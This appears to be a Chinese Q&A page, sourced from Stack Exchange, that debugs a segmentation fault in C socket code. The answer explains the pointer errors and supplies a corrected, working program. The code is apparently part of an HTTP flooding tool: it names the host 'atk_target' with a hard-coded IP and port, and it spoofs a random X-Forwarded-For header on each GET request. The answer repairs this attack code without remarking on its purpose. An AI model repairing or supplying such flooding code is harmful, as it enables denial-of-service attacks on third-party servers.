含Socket的C代码中asprintf触发Segmentation Fault核心转储求助
问题排查与修复方案
你的代码触发段错误的核心原因是非法内存访问,以下是具体问题点和修复步骤:
1. get_random_ip函数的野指针问题
该函数中char * string;仅声明了指针但未分配内存空间,直接调用sprintf向未初始化的指针写入数据,会直接触发段错误。
修复方法:
为IPv4地址字符串分配足够内存(最长IPv4地址为255.255.255.255,加上结束符共16字节):
char * get_random_ip() { int octet1 = random_int(0, 255); int octet2 = random_int(0, 255); int octet3 = random_int(0, 255); int octet4 = random_int(0, 255); // 分配内存并检查是否成功 char * string = malloc(16); if (string == NULL) { perror("malloc failed"); exit(1); } sprintf(string, "%d.%d.%d.%d", octet1, octet2, octet3, octet4); return string; }
注意:使用完该函数返回的字符串后,必须调用free()释放内存,避免内存泄漏。
2. httpget函数中http_request的初始化问题
你写的char * http_request ="";让指针指向了只读的字符串常量区域,若用sprintf写入会触发段错误;即使asprintf会重新分配内存覆盖指针,这个初始化也完全没必要,直接声明为char * http_request = NULL;即可。
同时,get_random_ip返回的临时字符串需要单独释放,避免内存泄漏:
// 先获取随机IP并保存 char *random_ip = get_random_ip(); char *http_request = NULL; int get_len = asprintf(&http_request, GET_TIME, atk_target, atk_target, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", random_ip); // 释放临时IP字符串 free(random_ip); // 使用完请求字符串后释放 if (http_request != NULL) { send(hpsock, http_request, get_len, 0); // 发送HTTP请求 free(http_request); }
3. 其他优化与修复点
- 清理重复包含的头文件(如
<stdio.h>、<sys/socket.h>等),减少编译冗余; - 将
httpget函数的返回类型从void *改为void(当前代码直接调用,无需线程函数的返回类型); - 调用
connect失败后直接exit(0)过于粗暴,改为关闭socket后返回,避免直接终止整个进程。
修复后的核心代码片段
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> int random_int(int min, int max) { int k; double d; d = (double)rand() / ((double)RAND_MAX + 1); k = d * (max - min + 1); return min + k; } char * get_random_ip() { int octet1 = random_int(0, 255); int octet2 = random_int(0, 255); int octet3 = random_int(0, 255); int octet4 = random_int(0, 255); char * string = malloc(16); if (!string) { perror("malloc for IP failed"); exit(EXIT_FAILURE); } sprintf(string, "%d.%d.%d.%d", octet1, octet2, octet3, octet4); return string; } char * atk_target="86.38.217.13"; int atk_port=9000; void httpget(){ struct sockaddr_in srv_addrr; int hpsock = socket(AF_INET, SOCK_STREAM, 0); if (hpsock < 0) { perror("socket create failed"); return; } memset(&srv_addrr, 0, sizeof(srv_addrr)); srv_addrr.sin_family = AF_INET; srv_addrr.sin_port = htons(atk_port); srv_addrr.sin_addr.s_addr = inet_addr(atk_target); if (connect(hpsock, (struct sockaddr*)&srv_addrr, sizeof(srv_addrr)) < 0) { perror("connect failed"); close(hpsock); return; } const char *GET_TIME = "GET / HTTP/1.1\r\n" "Host: %s\r\n" "Origin:%s\r\n" "User-Agent:%s\r\n" "X-Forwarded-For:%s\r\n" "\r\n"; char *random_ip = get_random_ip(); char *http_request = NULL; int get_len = asprintf(&http_request, GET_TIME, atk_target, atk_target, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", random_ip); if (get_len > 0 && http_request) { send(hpsock, http_request, get_len, 0); free(http_request); } free(random_ip); close(hpsock); } int main(){ srand((unsigned)time(NULL)); httpget(); return 0; }
内容的提问来源于stack exchange,提问作者user21561764
相关产品推荐
相关产品推荐

